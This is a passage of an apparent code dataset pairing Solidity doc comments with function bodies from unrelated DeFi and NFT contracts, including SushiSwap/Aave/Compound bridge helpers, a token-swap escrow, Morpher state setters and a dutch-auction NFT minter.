failed call.\n/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.", "function_code": "function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {\r\n // If the _res length is less than 68, then the transaction failed silently (without a revert message)\r\n if (_returnData.length < 68) return \"Transaction reverted silently\";\r\n\r\n assembly {\r\n // Slice the sighash.\r\n _returnData := add(_returnData, 0x04)\r\n }\r\n return abi.decode(_returnData, (string)); // All that remains is the revert string\r\n }", "version": "0.7.6"} {"comment": "/// @notice Allows batched call to self (this contract).\n/// @param calls An array of inputs for each call.\n/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.", "function_code": "function batch(bytes[] calldata calls, bool revertOnFail) external payable {\r\n for (uint256 i = 0; i < calls.length; i++) {\r\n (bool success, bytes memory result) = address(this).delegatecall(calls[i]);\r\n if (!success && revertOnFail) {\r\n revert(_getRevertMsg(result));\r\n }\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// @notice Call wrapper that performs `ERC20.permit` using EIP 2612 primitive.\n/// Lookup `IDaiPermit.permit`.", "function_code": "function permitDai(\r\n IDaiPermit token,\r\n address holder,\r\n address spender,\r\n uint256 nonce,\r\n uint256 expiry,\r\n bool allowed,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) public {\r\n token.permit(holder, spender, nonce, expiry, allowed, v, r, s);\r\n }", "version": "0.7.6"} {"comment": "/// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper.", "function_code": "function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {\r\n require(msg.sender == governor, '!governor');\r\n require(targets.length == isApproved.length, 'Invalid Input length');\r\n for (uint256 i = 0; i < targets.length; i++) {\r\n approvedTargets[targets[i]] = isApproved[i];\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n @notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.\r\n @param to Address to receive LP tokens.\r\n @param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).\r\n @param _pairAddress The SushiSwap pair address.\r\n @param _amount The amount of fromToken to invest.\r\n @param _minPoolTokens Reverts if less tokens received than this.\r\n @param _swapTarget Excecution target for the first swap.\r\n @param swapData Dex quote data.\r\n @return Amount of LP bought.\r\n */", "function_code": "function zapIn(\r\n address to,\r\n address _FromTokenContractAddress,\r\n address _pairAddress,\r\n uint256 _amount,\r\n uint256 _minPoolTokens,\r\n address _swapTarget,\r\n bytes calldata swapData\r\n ) external payable returns (uint256) {\r\n uint256 toInvest = _pullTokens(\r\n _FromTokenContractAddress,\r\n _amount\r\n );\r\n uint256 LPBought = _performZapIn(\r\n _FromTokenContractAddress,\r\n _pairAddress,\r\n toInvest,\r\n _swapTarget,\r\n swapData\r\n );\r\n require(LPBought >= _minPoolTokens, 'ERR: High Slippage');\r\n emit ZapIn(to, _pairAddress, LPBought);\r\n IERC20(_pairAddress).safeTransfer(to, LPBought);\r\n return LPBought;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n @notice This function is used to swap ERC20 <> ERC20.\r\n @param _FromTokenContractAddress The token address to swap from.\r\n @param _ToTokenContractAddress The token address to swap to. \r\n @param tokens2Trade The amount of tokens to swap.\r\n @return tokenBought The quantity of tokens bought.\r\n */", "function_code": "function _token2Token(\r\n address _FromTokenContractAddress,\r\n address _ToTokenContractAddress,\r\n uint256 tokens2Trade\r\n ) private returns (uint256 tokenBought) {\r\n if (_FromTokenContractAddress == _ToTokenContractAddress) {\r\n return tokens2Trade;\r\n }\r\n IERC20(_FromTokenContractAddress).safeApprove(\r\n address(sushiSwapRouter),\r\n 0\r\n );\r\n IERC20(_FromTokenContractAddress).safeApprove(\r\n address(sushiSwapRouter),\r\n tokens2Trade\r\n );\r\n (address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);\r\n address pair =\r\n address(\r\n uint256(\r\n keccak256(abi.encodePacked(hex\"ff\", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))\r\n )\r\n );\r\n require(pair != address(0), 'No Swap Available');\r\n address[] memory path = new address[](2);\r\n path[0] = _FromTokenContractAddress;\r\n path[1] = _ToTokenContractAddress;\r\n tokenBought = sushiSwapRouter.swapExactTokensForTokens(\r\n tokens2Trade,\r\n 1,\r\n path,\r\n address(this),\r\n deadline\r\n )[path.length - 1];\r\n require(tokenBought > 0, 'Error Swapping Tokens 2');\r\n }", "version": "0.7.6"} {"comment": "/// @notice Helper function to approve this contract to spend tokens and enable strategies.", "function_code": "function bridgeToken(IERC20[] calldata token, address[] calldata to) external {\r\n for (uint256 i = 0; i < token.length; i++) {\r\n token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// @notice Liquidity zap into CHEF.", "function_code": "function zapToMasterChef(\r\n address to,\r\n address _FromTokenContractAddress,\r\n uint256 _amount,\r\n uint256 _minPoolTokens,\r\n uint256 pid,\r\n address _swapTarget,\r\n bytes calldata swapData\r\n ) external payable returns (uint256 LPBought) {\r\n uint256 toInvest = _pullTokens(\r\n _FromTokenContractAddress,\r\n _amount\r\n );\r\n IERC20 _pairAddress = masterChefv2.lpToken(pid);\r\n LPBought = _performZapIn(\r\n _FromTokenContractAddress,\r\n address(_pairAddress),\r\n toInvest,\r\n _swapTarget,\r\n swapData\r\n );\r\n require(LPBought >= _minPoolTokens, \"ERR: High Slippage\");\r\n emit ZapIn(to, address(_pairAddress), LPBought);\r\n masterChefv2.deposit(pid, LPBought, to);\r\n }", "version": "0.7.6"} {"comment": "/// @notice Liquidity zap into KASHI.", "function_code": "function zapToKashi(\r\n address to,\r\n address _FromTokenContractAddress,\r\n IKashiBridge kashiPair,\r\n uint256 _amount,\r\n uint256 _minPoolTokens,\r\n address _swapTarget,\r\n bytes calldata swapData\r\n ) external payable returns (uint256 fraction) {\r\n uint256 toInvest = _pullTokens(\r\n _FromTokenContractAddress,\r\n _amount\r\n );\r\n IERC20 _pairAddress = kashiPair.asset();\r\n uint256 LPBought = _performZapIn(\r\n _FromTokenContractAddress,\r\n address(_pairAddress),\r\n toInvest,\r\n _swapTarget,\r\n swapData\r\n );\r\n require(LPBought >= _minPoolTokens, \"ERR: High Slippage\");\r\n emit ZapIn(to, address(_pairAddress), LPBought);\r\n _pairAddress.safeTransfer(address(bento), LPBought);\r\n IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0); \r\n fraction = kashiPair.addAsset(to, true, LPBought);\r\n }", "version": "0.7.6"} {"comment": "/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.", "function_code": "function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {\r\n IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract\r\n address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token\r\n aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`\r\n (amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.", "function_code": "function bentoToAave(IERC20 underlying, address to, uint256 amount) external {\r\n bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract\r\n aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Add new party to the swap.\r\n * @param _participant Address of the participant.\r\n * @param _token An ERC20-compliant token which participant is offering to swap.\r\n * @param _tokensForSwap How much tokens the participant wants to swap.\r\n * @param _tokensFee How much tokens will be payed as a fee.\r\n * @param _tokensTotal How much tokens the participant is offering (i.e. _tokensForSwap + _tokensFee).\r\n */", "function_code": "function addParty(\r\n address _participant,\r\n ERC20 _token,\r\n uint256 _tokensForSwap,\r\n uint256 _tokensFee,\r\n uint256 _tokensTotal\r\n )\r\n onlyOwner\r\n canAddParty\r\n external\r\n {\r\n require(_participant != address(0), \"_participant is invalid address\");\r\n require(_token != address(0), \"_token is invalid address\");\r\n require(_tokensForSwap > 0, \"_tokensForSwap must be positive\");\r\n require(_tokensFee > 0, \"_tokensFee must be positive\");\r\n require(_tokensTotal == _tokensForSwap.add(_tokensFee), \"token amounts inconsistency\");\r\n require(\r\n isParticipant[_participant] == false,\r\n \"Unable to add the same party multiple times\"\r\n );\r\n\r\n isParticipant[_participant] = true;\r\n SwapOffer memory offer = SwapOffer({\r\n participant: _participant,\r\n token: _token,\r\n tokensForSwap: _tokensForSwap,\r\n withdrawnTokensForSwap: 0,\r\n tokensFee: _tokensFee,\r\n withdrawnFee: 0,\r\n tokensTotal: _tokensTotal,\r\n withdrawnTokensTotal: 0\r\n });\r\n participants.push(offer.participant);\r\n offerByToken[offer.token] = offer;\r\n tokenByParticipant[offer.participant] = offer.token;\r\n\r\n emit AddParty(offer.participant, offer.token, offer.tokensTotal);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.", "function_code": "function compoundToAave(address cToken, address to, uint256 amount) external {\r\n IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract\r\n ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`\r\n address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token\r\n aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.", "function_code": "function stakeSushiToAave(address to, uint256 amount) external { // SAAVE\r\n sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract\r\n ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI\r\n aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Confirm swap parties\r\n */", "function_code": "function confirmParties() onlyOwner canConfirmParties external {\r\n address[] memory newOwners = new address[](participants.length + 1);\r\n\r\n for (uint256 i = 0; i < participants.length; i++) {\r\n newOwners[i] = participants[i];\r\n }\r\n\r\n newOwners[newOwners.length - 1] = owner;\r\n transferOwnershipWithHowMany(newOwners, newOwners.length - 1);\r\n _changeStatus(Status.WaitingDeposits);\r\n emit ConfirmParties();\r\n }", "version": "0.4.24"} {"comment": "/// @notice Liquidity zap into BENTO.", "function_code": "function zapToBento(\r\n address to,\r\n address _FromTokenContractAddress,\r\n address _pairAddress,\r\n uint256 _amount,\r\n uint256 _minPoolTokens,\r\n address _swapTarget,\r\n bytes calldata swapData\r\n ) external payable returns (uint256 LPBought) {\r\n uint256 toInvest = _pullTokens(\r\n _FromTokenContractAddress,\r\n _amount\r\n );\r\n LPBought = _performZapIn(\r\n _FromTokenContractAddress,\r\n _pairAddress,\r\n toInvest,\r\n _swapTarget,\r\n swapData\r\n );\r\n require(LPBought >= _minPoolTokens, \"ERR: High Slippage\");\r\n emit ZapIn(to, _pairAddress, LPBought);\r\n bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0); \r\n }", "version": "0.7.6"} {"comment": "/// @notice Liquidity unzap from BENTO.", "function_code": "function zapFromBento(\r\n address pair,\r\n address to,\r\n uint256 amount\r\n ) external returns (uint256 amount0, uint256 amount1) {\r\n bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO\r\n (amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.", "function_code": "function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {\r\n sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract\r\n ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI\r\n (amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Validate lock-up period configuration.\r\n */", "function_code": "function _validateLockupStages() internal view {\r\n for (uint i = 0; i < lockupStages.length; i++) {\r\n LockupStage memory stage = lockupStages[i];\r\n\r\n require(\r\n stage.unlockedTokensPercentage >= 0,\r\n \"LockupStage.unlockedTokensPercentage must not be negative\"\r\n );\r\n require(\r\n stage.unlockedTokensPercentage <= 100,\r\n \"LockupStage.unlockedTokensPercentage must not be greater than 100\"\r\n );\r\n\r\n if (i == 0) {\r\n continue;\r\n }\r\n\r\n LockupStage memory previousStage = lockupStages[i - 1];\r\n require(\r\n stage.secondsSinceLockupStart > previousStage.secondsSinceLockupStart,\r\n \"LockupStage.secondsSinceLockupStart must increase monotonically\"\r\n );\r\n require(\r\n stage.unlockedTokensPercentage > previousStage.unlockedTokensPercentage,\r\n \"LockupStage.unlockedTokensPercentage must increase monotonically\"\r\n );\r\n }\r\n\r\n require(\r\n lockupStages[0].secondsSinceLockupStart == 0,\r\n \"The first lockup stage must start immediately\"\r\n );\r\n require(\r\n lockupStages[lockupStages.length - 1].unlockedTokensPercentage == 100,\r\n \"The last lockup stage must unlock 100% of tokens\"\r\n );\r\n }", "version": "0.4.24"} {"comment": "/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.", "function_code": "function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {\r\n IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract\r\n ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`\r\n IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token\r\n (amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.", "function_code": "function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {\r\n IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token\r\n bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract\r\n ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`\r\n IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.", "function_code": "function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {\r\n sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract\r\n ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI\r\n (amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.", "function_code": "function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {\r\n bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract\r\n ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI\r\n sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.", "function_code": "function stakeSushiToCream(address to, uint256 amount) external { // SCREAM\r\n sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract\r\n ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI\r\n ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI\r\n IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`\r\n }", "version": "0.7.6"} {"comment": "// ----------------------------------------------------------------------------\n// Minting/burning/transfer of token\n// ----------------------------------------------------------------------------", "function_code": "function transfer(address _from, address _to, uint256 _token) public onlyPlatform notPaused canTransfer(_from) {\n require(balances[_from] >= _token, \"MorpherState: Not enough token.\");\n balances[_from] = balances[_from].sub(_token);\n balances[_to] = balances[_to].add(_token);\n IMorpherToken(morpherToken).emitTransfer(_from, _to, _token);\n emit Transfer(_from, _to, _token);\n emit SetBalance(_from, balances[_from], getBalanceHash(_from, balances[_from]));\n emit SetBalance(_to, balances[_to], getBalanceHash(_to, balances[_to]));\n }", "version": "0.5.16"} {"comment": "// ----------------------------------------------------------------------------\n// Setter/Getter functions for portfolio\n// ----------------------------------------------------------------------------", "function_code": "function setPosition(\n address _address,\n bytes32 _marketId,\n uint256 _timeStamp,\n uint256 _longShares,\n uint256 _shortShares,\n uint256 _meanEntryPrice,\n uint256 _meanEntrySpread,\n uint256 _meanEntryLeverage,\n uint256 _liquidationPrice\n ) public onlyPlatform {\n portfolio[_address][_marketId].lastUpdated = _timeStamp;\n portfolio[_address][_marketId].longShares = _longShares;\n portfolio[_address][_marketId].shortShares = _shortShares;\n portfolio[_address][_marketId].meanEntryPrice = _meanEntryPrice;\n portfolio[_address][_marketId].meanEntrySpread = _meanEntrySpread;\n portfolio[_address][_marketId].meanEntryLeverage = _meanEntryLeverage;\n portfolio[_address][_marketId].liquidationPrice = _liquidationPrice;\n portfolio[_address][_marketId].positionHash = getPositionHash(\n _address,\n _marketId,\n _timeStamp,\n _longShares,\n _shortShares,\n _meanEntryPrice,\n _meanEntrySpread,\n _meanEntryLeverage,\n _liquidationPrice\n );\n if (_longShares > 0 || _shortShares > 0) {\n addExposureByMarket(_marketId, _address);\n } else {\n deleteExposureByMarket(_marketId, _address);\n }\n emit SetPosition(\n portfolio[_address][_marketId].positionHash,\n _address,\n _marketId,\n _timeStamp,\n _longShares,\n _shortShares,\n _meanEntryPrice,\n _meanEntrySpread,\n _meanEntryLeverage,\n _liquidationPrice\n );\n }", "version": "0.5.16"} {"comment": "/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.", "function_code": "function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {\r\n bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract\r\n ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI\r\n ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI\r\n sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`\r\n }", "version": "0.7.6"} {"comment": "/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.", "function_code": "receive() external payable { // INARIZUSHI\r\n (uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();\r\n uint256 amountInWithFee = msg.value.mul(997);\r\n uint256 out =\r\n amountInWithFee.mul(reserve0) /\r\n reserve1.mul(1000).add(amountInWithFee);\r\n IWETH(wETH).deposit{value: msg.value}();\r\n IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);\r\n sushiSwapSushiETHPair.swap(out, 0, address(this), \"\");\r\n ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI\r\n bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`\r\n }", "version": "0.7.6"} {"comment": "// ----------------------------------------------------------------------------\n// Record positions by market by address. Needed for exposure aggregations\n// and spits and dividends.\n// ----------------------------------------------------------------------------", "function_code": "function addExposureByMarket(bytes32 _symbol, address _address) private {\n // Address must not be already recored\n uint256 _myExposureIndex = getExposureMappingIndex(_symbol, _address);\n if (_myExposureIndex == 0) {\n uint256 _maxMappingIndex = getMaxMappingIndex(_symbol).add(1);\n setMaxMappingIndex(_symbol, _maxMappingIndex);\n setExposureMapping(_symbol, _address, _maxMappingIndex);\n }\n }", "version": "0.5.16"} {"comment": "/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.", "function_code": "function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {\r\n (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);\r\n ISushiSwap pair =\r\n ISushiSwap(\r\n uint256(\r\n keccak256(abi.encodePacked(hex\"ff\", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))\r\n )\r\n );\r\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\r\n uint256 amountInWithFee = amountIn.mul(997);\r\n IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);\r\n if (toToken > fromToken) {\r\n amountOut =\r\n amountInWithFee.mul(reserve1) /\r\n reserve0.mul(1000).add(amountInWithFee);\r\n pair.swap(0, amountOut, to, \"\");\r\n } else {\r\n amountOut =\r\n amountInWithFee.mul(reserve0) /\r\n reserve1.mul(1000).add(amountInWithFee);\r\n pair.swap(amountOut, 0, to, \"\");\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.", "function_code": "function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {\r\n (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);\r\n ISushiSwap pair =\r\n ISushiSwap(\r\n uint256(\r\n keccak256(abi.encodePacked(hex\"ff\", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))\r\n )\r\n );\r\n uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();\r\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\r\n uint256 amountInWithFee = amountIn.mul(997);\r\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\r\n if (toToken > fromToken) {\r\n amountOut =\r\n amountInWithFee.mul(reserve1) /\r\n reserve0.mul(1000).add(amountInWithFee);\r\n pair.swap(0, amountOut, to, \"\");\r\n } else {\r\n amountOut =\r\n amountInWithFee.mul(reserve0) /\r\n reserve1.mul(1000).add(amountInWithFee);\r\n pair.swap(amountOut, 0, to, \"\");\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\n @notice startPublicSale is called to start the dutch auction for minting Gods to the public.\n @param _saleDuration The duration of the sale, in seconds, before reaching the minimum minting\n price.\n @param _saleStartPrice The initial minting price, which progressively lowers as the dutch\n auction progresses.\n @param _saleEndPrice Lower bound for the minting price, once the full duration of the dutch\n auction has elapsed.\n */", "function_code": "function startPublicSale(uint256 _saleDuration, uint256 _saleStartPrice, uint256 _saleEndPrice)\n external\n onlyOwner\n beforePublicSaleStarted\n {\n require(_saleStartPrice > _saleEndPrice, \"_saleStartPrice must be greater than _saleEndPrice\");\n require(addressReferencesSet, \"External reference contracts must all be set before public sale starts\");\n publicSaleDuration = _saleDuration;\n publicSaleGodStartingPrice = _saleStartPrice;\n publicSaleGodEndingPrice = _saleEndPrice;\n publicSaleStartTime = block.timestamp;\n publicSaleStarted = true;\n emit PublicSaleStart(_saleDuration, publicSaleStartTime);\n }", "version": "0.8.9"} {"comment": "/**\n @notice getRemainingSaleTime is a view function that tells us how many seconds are remaining\n before the dutch auction hits the minimum price.\n */", "function_code": "function getRemainingSaleTime() external view returns (uint256) {\n if (publicSaleStartTime == 0) {\n // If the public sale has not been started, we just return 1 week as a placeholder.\n return 604800;\n }\n\n if (publicSalePaused) {\n return publicSaleDuration - publicSalePausedElapsedTime;\n }\n\n if (getElapsedSaleTime() >= publicSaleDuration) {\n return 0;\n }\n\n return (publicSaleStartTime + publicSaleDuration) - block.timestamp;\n }", "version": "0.8.9"} {"comment": "/**\n @notice getMintPrice returns the price to mint a God at the current time in the dutch auction.\n */", "function_code": "function getMintPrice() public view returns (uint256) {\n if (!publicSaleStarted) {\n return 0;\n }\n uint256 elapsed = getElapsedSaleTime();\n if (elapsed >= publicSaleDuration) {\n return publicSaleGodEndingPrice;\n } else {\n int256 tempPrice = int256(publicSaleGodStartingPrice) +\n ((int256(publicSaleGodEndingPrice) -\n int256(publicSaleGodStartingPrice)) /\n int256(publicSaleDuration)) *\n int256(elapsed);\n uint256 currentPrice = uint256(tempPrice);\n return\n currentPrice > publicSaleGodEndingPrice\n ? currentPrice\n : publicSaleGodEndingPrice;\n }\n }", "version": "0.8.9"} {"comment": "/**\n @notice mintGods is a payable function which allows the sender to pay ETH to mint God NFTs\n at the current price specified by getMintPrice.\n @param _numGodsToMint The number of gods to be minted, which is capped at a maximum of 5 Gods\n per transaction.\n */", "function_code": "function mintGods(uint256 _numGodsToMint)\n external\n payable\n whenPublicSaleActive\n nonReentrant\n {\n require(\n publicGodsMinted + _numGodsToMint <= MAX_GODS_TO_MINT - NUM_RESERVED_NFTS,\n \"Minting would exceed max supply\"\n );\n require(_numGodsToMint > 0, \"Must mint at least one god\");\n require(\n idolMain.balanceOf(msg.sender) + _numGodsToMint <= MAX_GODS_PER_ADDRESS,\n \"Requested number would exceed the maximum number of gods allowed to be minted for this address.\"\n );\n\n uint256 individualCostToMint = getMintPrice();\n uint256 costToMint = individualCostToMint * _numGodsToMint;\n require(costToMint <= msg.value, \"Ether value sent is not correct\");\n\n for (uint256 i = 0; i < _numGodsToMint; i++) {\n uint idToMint = (publicGodsMinted + i + godIdOffset) % MAX_GODS_TO_MINT;\n idolMain.mint(msg.sender, idToMint, false);\n }\n\n publicGodsMinted += _numGodsToMint;\n\n if (msg.value > costToMint) {\n Address.sendValue(payable(msg.sender), msg.value - costToMint);\n }\n emit IdolsMinted(msg.sender, individualCostToMint, _numGodsToMint);\n }", "version": "0.8.9"} {"comment": "/**\n @notice mintReservedGods is used by the contract owner to mint a reserved pool of 1000 Gods\n for owners and supporters of the protocol.\n @param _numGodsToMint The number of Gods to mint in this transaction.\n @param _mintAddress The address to mint the reserved Gods for.\n @param _lock If true, specifies that the minted reserved Gods cannot be sold or transferred for\n the first year of the protocol's existence.\n */", "function_code": "function mintReservedGods(uint256 _numGodsToMint, address _mintAddress, bool _lock)\n external\n onlyOwner\n nonReentrant\n {\n require(\n reservedGodsMinted + _numGodsToMint < NUM_RESERVED_NFTS,\n \"Minting would exceed max reserved supply\"\n );\n require(_numGodsToMint > 0, \"Must mint at least one god\");\n\n for (uint256 i = 0; i < _numGodsToMint; i++) {\n uint idToMint = (reservedGodsMinted + i + godIdOffset + MAX_GODS_TO_MINT - NUM_RESERVED_NFTS) % MAX_GODS_TO_MINT;\n idolMain.mint(_mintAddress, idToMint, _lock);\n }\n reservedGodsMinted += _numGodsToMint;\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Distribute tokens to multiple addresses in a single transaction\r\n *\r\n * @param addresses A list of addresses to distribute to\r\n * @param values A corresponding list of amounts to distribute to each address\r\n */", "function_code": "function anailNathrachOrthaBhaisIsBeathaDoChealDeanaimh(address[] addresses, uint256[] values) onlyOwner public returns (bool success) {\r\n require(addresses.length == values.length);\r\n for (uint i = 0; i < addresses.length; i++) {\r\n require(!distributionLocks[addresses[i]]);\r\n transfer(addresses[i], values[i]);\r\n distributionLocks[addresses[i]] = true;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice See whitelisted currencies in the system\n * @param cursor cursor (should start at 0 for first request)\n * @param size size of the response (e.g., 50)\n */", "function_code": "function viewWhitelistedCurrencies(uint256 cursor, uint256 size)\n external\n view\n override\n returns (address[] memory, uint256)\n {\n uint256 length = size;\n\n if (length > _whitelistedCurrencies.length() - cursor) {\n length = _whitelistedCurrencies.length() - cursor;\n }\n\n address[] memory whitelistedCurrencies = new address[](length);\n\n for (uint256 i = 0; i < length; i++) {\n whitelistedCurrencies[i] = _whitelistedCurrencies.at(cursor + i);\n }\n\n return (whitelistedCurrencies, cursor + length);\n }", "version": "0.8.11"} {"comment": "/// @notice User withdraws converted Basket token", "function_code": "function 